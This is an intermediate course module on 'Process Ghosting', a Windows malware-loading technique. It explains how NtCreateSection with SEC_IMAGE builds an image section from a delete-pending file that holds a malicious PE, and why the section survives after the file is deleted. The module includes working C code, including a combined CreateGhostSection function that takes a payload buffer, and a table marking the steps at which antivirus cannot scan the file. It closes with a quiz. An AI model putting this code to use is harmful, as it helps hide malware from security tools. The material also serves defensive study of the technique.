Difficulty: Intermediate

Module 5: Section Mapping from Ghost

Creating an image section from the delete-pending file — the moment the ghost image becomes permanent in kernel memory.

Module Objective

Understand how NtCreateSection with SEC_IMAGE creates an image section from the delete-pending file handle, the kernel structures that are created (CONTROL_AREA, SUBSECTION), why the section persists after the file is deleted, and how to close the file handle to trigger the deletion while keeping the section alive.

1. Creating the Image Section

With the ghost file handle from Module 4 (delete-pending, containing the malicious PE), we now create an image section. This is the pivotal step — it captures the PE content into a kernel object that will outlive the file:

HANDLE hSection = NULL;

NTSTATUS status = NtCreateSection(
    &hSection,          // receives the section handle
    SECTION_ALL_ACCESS, // full access to the section
    NULL,               // no object attributes
    NULL,               // MaximumSize (auto from PE headers)
    PAGE_READONLY,      // initial page protection
    SEC_IMAGE,          // IMAGE section type
    hFile               // the delete-pending file handle
);

Parameter Breakdown

ParameterValueSignificance
SectionHandle&hSectionOutput: the section handle we will use for process creation
DesiredAccessSECTION_ALL_ACCESSFull access including map, query, and extend rights
MaximumSizeNULLFor SEC_IMAGE, the size is determined by the PE’s SizeOfImage field in the optional header
SectionPageProtectionPAGE_READONLYBase protection; individual pages get per-section protections from PE headers
AllocationAttributesSEC_IMAGEParse the file as a PE image, creating an IMAGE_SECTION_OBJECT
FileHandlehFileThe delete-pending file containing the malicious PE

2. What Happens Inside the Kernel

When the kernel processes NtCreateSection with SEC_IMAGE, it performs the following operations internally:

Kernel Section Creation Steps

  1. PE Validation: The memory manager reads the MZ and PE headers from the file. It validates the magic numbers, machine type, number of sections, and alignment values.
  2. CONTROL_AREA Allocation: A CONTROL_AREA structure is allocated in kernel pool memory. This structure links the section to its backing file object and tracks reference counts.
  3. SUBSECTION Chain: For each PE section (.text, .rdata, .data, etc.), a SUBSECTION structure is created describing the virtual address range, file offset, size, and page protection.
  4. SECTION_OBJECT Creation: The top-level section object is created and linked to the control area.
  5. File Object Reference: The CONTROL_AREA takes a reference to the FILE_OBJECT. This reference keeps the file object alive in kernel memory even after all user-mode handles are closed.

Kernel Object Relationships

SECTION_OBJECT
User handle: hSection
CONTROL_AREA
Ref to FILE_OBJECT
FILE_OBJECT
Backing file (delete-pending)

3. SEC_IMAGE PE Parsing

The SEC_IMAGE flag triggers full PE parsing by the memory manager. The kernel reads the PE headers to determine how to map the image into virtual memory:

// What the kernel reads from the PE to create subsections:
// (conceptual representation)

// From IMAGE_NT_HEADERS:
//   OptionalHeader.ImageBase         -> preferred load address
//   OptionalHeader.SizeOfImage       -> total virtual size
//   OptionalHeader.AddressOfEntryPoint -> EP RVA
//   OptionalHeader.SectionAlignment  -> virtual alignment
//   OptionalHeader.FileAlignment     -> file alignment

// From each IMAGE_SECTION_HEADER:
//   VirtualAddress    -> RVA of this section
//   VirtualSize       -> virtual size
//   PointerToRawData  -> file offset
//   SizeOfRawData     -> file size
//   Characteristics   -> permissions (R/W/X)
PE SectionTypical ProtectionKernel Subsection
.textPAGE_EXECUTE_READSubsection with MM_EXECUTE_READ
.rdataPAGE_READONLYSubsection with MM_READONLY
.dataPAGE_READWRITESubsection with MM_READWRITE (copy-on-write)
.rsrcPAGE_READONLYSubsection with MM_READONLY

Image Section vs Data Section

A SEC_IMAGE section is fundamentally different from a SEC_COMMIT or SEC_RESERVE data section. The image section stores parsed PE metadata and maps each PE section individually with appropriate protections. A data section just maps raw bytes. Only image sections can be used with NtCreateProcessEx to create processes.

4. Why the Section Survives File Deletion

This is the core of Process Ghosting’s power. The section persists after the file is deleted because of reference counting in the kernel:

Reference Counting Chain

  1. The SECTION_OBJECT holds a reference to the CONTROL_AREA
  2. The CONTROL_AREA holds a reference to the FILE_OBJECT
  3. As long as any reference to the CONTROL_AREA exists, the FILE_OBJECT stays alive
  4. The FILE_OBJECT keeps the file data accessible even after the directory entry is removed

When we close the user-mode file handle (hFile), the file’s delete-pending state triggers removal of the directory entry and MFT deallocation. But the FILE_OBJECT in kernel memory is not destroyed because the section still references it through the CONTROL_AREA. The file data (PE content) remains accessible through the section’s page-in mechanism.

// After section creation, close the file handle
// This triggers the actual file deletion from disk
NtClose(hFile);
hFile = NULL;

// At this point:
// - File is DELETED from disk (no directory entry, MFT freed)
// - hSection is still valid
// - Section's CONTROL_AREA still references the FILE_OBJECT
// - PE content is still accessible through the section
// - NtCreateProcessEx can still use hSection

5. The CONTROL_AREA in Detail

The CONTROL_AREA is the key kernel structure that bridges files and sections. For an image section, its relevant fields include:

// Simplified CONTROL_AREA structure (Windows 10+)
typedef struct _CONTROL_AREA {
    PFILE_OBJECT    FilePointer;        // backing file object
    ULONG           NumberOfSectionReferences;  // section ref count
    ULONG           NumberOfPfnReferences;      // page frame refs
    ULONG           NumberOfMappedViews;        // mapped view count
    ULONG           NumberOfUserReferences;     // user-mode refs
    ULONG           FlushInProgressCount;
    ULONG_PTR       Flags;              // includes IMAGE flag
    PSEGMENT        Segment;            // segment containing pages
    PSUBSECTION     FirstSubsection;    // head of subsection list
    // ... additional fields
} CONTROL_AREA, *PCONTROL_AREA;

The NumberOfSectionReferences field tracks how many section objects reference this control area. As long as it is greater than zero, the control area (and its file object pointer) stays alive. When we create a process from the section, the process’s virtual address space adds mapped view references, further keeping the control area alive.

6. Verifying the Section

Before proceeding to process creation, we can verify the section is valid by querying its basic information:

// Query section information to verify
SECTION_BASIC_INFORMATION sectionInfo = { 0 };
ULONG retLen = 0;

status = NtQuerySection(
    hSection,
    SectionBasicInformation,
    §ionInfo,
    sizeof(sectionInfo),
    &retLen
);

if (NT_SUCCESS(status)) {
    // sectionInfo.Size contains the image size
    // sectionInfo.Attributes should include SEC_IMAGE
    printf("Section size: 0x%llx\n", sectionInfo.Size.QuadPart);
    printf("Attributes: 0x%x\n", sectionInfo.Attributes);
    // Attributes & SEC_IMAGE should be non-zero
}

We can also query the image information to get the entry point and other PE metadata:

// Query section image information
SECTION_IMAGE_INFORMATION imageInfo = { 0 };

status = NtQuerySection(
    hSection,
    SectionImageInformation,
    &imageInfo,
    sizeof(imageInfo),
    &retLen
);

if (NT_SUCCESS(status)) {
    printf("Entry point: %p\n", imageInfo.TransferAddress);
    printf("Stack reserve: 0x%llx\n",
        imageInfo.MaximumStackSize);
    printf("Image base: %p\n",
        imageInfo.ImageBase);
    // TransferAddress = ImageBase + AddressOfEntryPoint
}

SECTION_IMAGE_INFORMATION Key Fields

FieldTypeMeaning
TransferAddressPVOIDAbsolute address of the entry point (ImageBase + EP RVA)
MaximumStackSizeULONGStack reserve size from PE optional header
CommittedStackSizeULONGStack commit size from PE optional header
SubSystemTypeULONGGUI (2), Console (3), etc.
ImageBasePVOIDPreferred load address from PE optional header

7. Timeline of Events

Here is the complete timeline from file creation through section persistence:

StepAPI CallFile on DiskSection in KernelAV Can Scan?
1NtCreateFileEmpty file existsNoneYes, but file is empty
2NtSetInformationFileDelete-pending, emptyNoneNo (STATUS_DELETE_PENDING)
3NtWriteFileDelete-pending, has PENoneNo (STATUS_DELETE_PENDING)
4NtCreateSectionDelete-pending, has PEIMAGE section createdNo (STATUS_DELETE_PENDING)
5NtClose(hFile)DELETEDSection persistsNo (file gone)
6NtCreateProcessExDELETEDMapped into processNo (file gone)

8. Combined Code: Ghost File + Section

// Complete: create ghost file and section
bool CreateGhostSection(
    LPCWSTR ghostPath,
    BYTE* payload, DWORD payloadSize,
    HANDLE* phSection)
{
    HANDLE hFile = NULL;
    HANDLE hSection = NULL;
    IO_STATUS_BLOCK iosb = { 0 };
    NTSTATUS status;

    // Phase 1: Create ghost file (Module 4)
    status = CreateGhostFile(ghostPath,
        payload, payloadSize, &hFile);
    if (!NT_SUCCESS(status)) return false;

    // Phase 2: Create image section from ghost
    status = NtCreateSection(
        &hSection,
        SECTION_ALL_ACCESS,
        NULL, NULL,
        PAGE_READONLY,
        SEC_IMAGE,
        hFile);

    // Close the file handle - triggers deletion
    NtClose(hFile);

    if (!NT_SUCCESS(status)) return false;

    // Section is alive, file is dead
    *phSection = hSection;
    return true;
}

Knowledge Check

Q1: Why does the image section persist after the backing file is deleted from disk?

A) The section data is copied into a new kernel buffer independent of the file
B) Windows automatically creates a backup of the file before deletion
C) The section's CONTROL_AREA holds a reference to the FILE_OBJECT, keeping the file data alive in kernel memory
D) The section is stored in the registry as a backup

Q2: What kernel structure links a section object to its backing file?

A) EPROCESS
B) CONTROL_AREA
C) PEB
D) TEB

Q3: What flag must be passed to NtCreateSection to have the kernel parse the file as a PE executable image?

A) SEC_IMAGE
B) SEC_COMMIT
C) SEC_RESERVE
D) SEC_FILE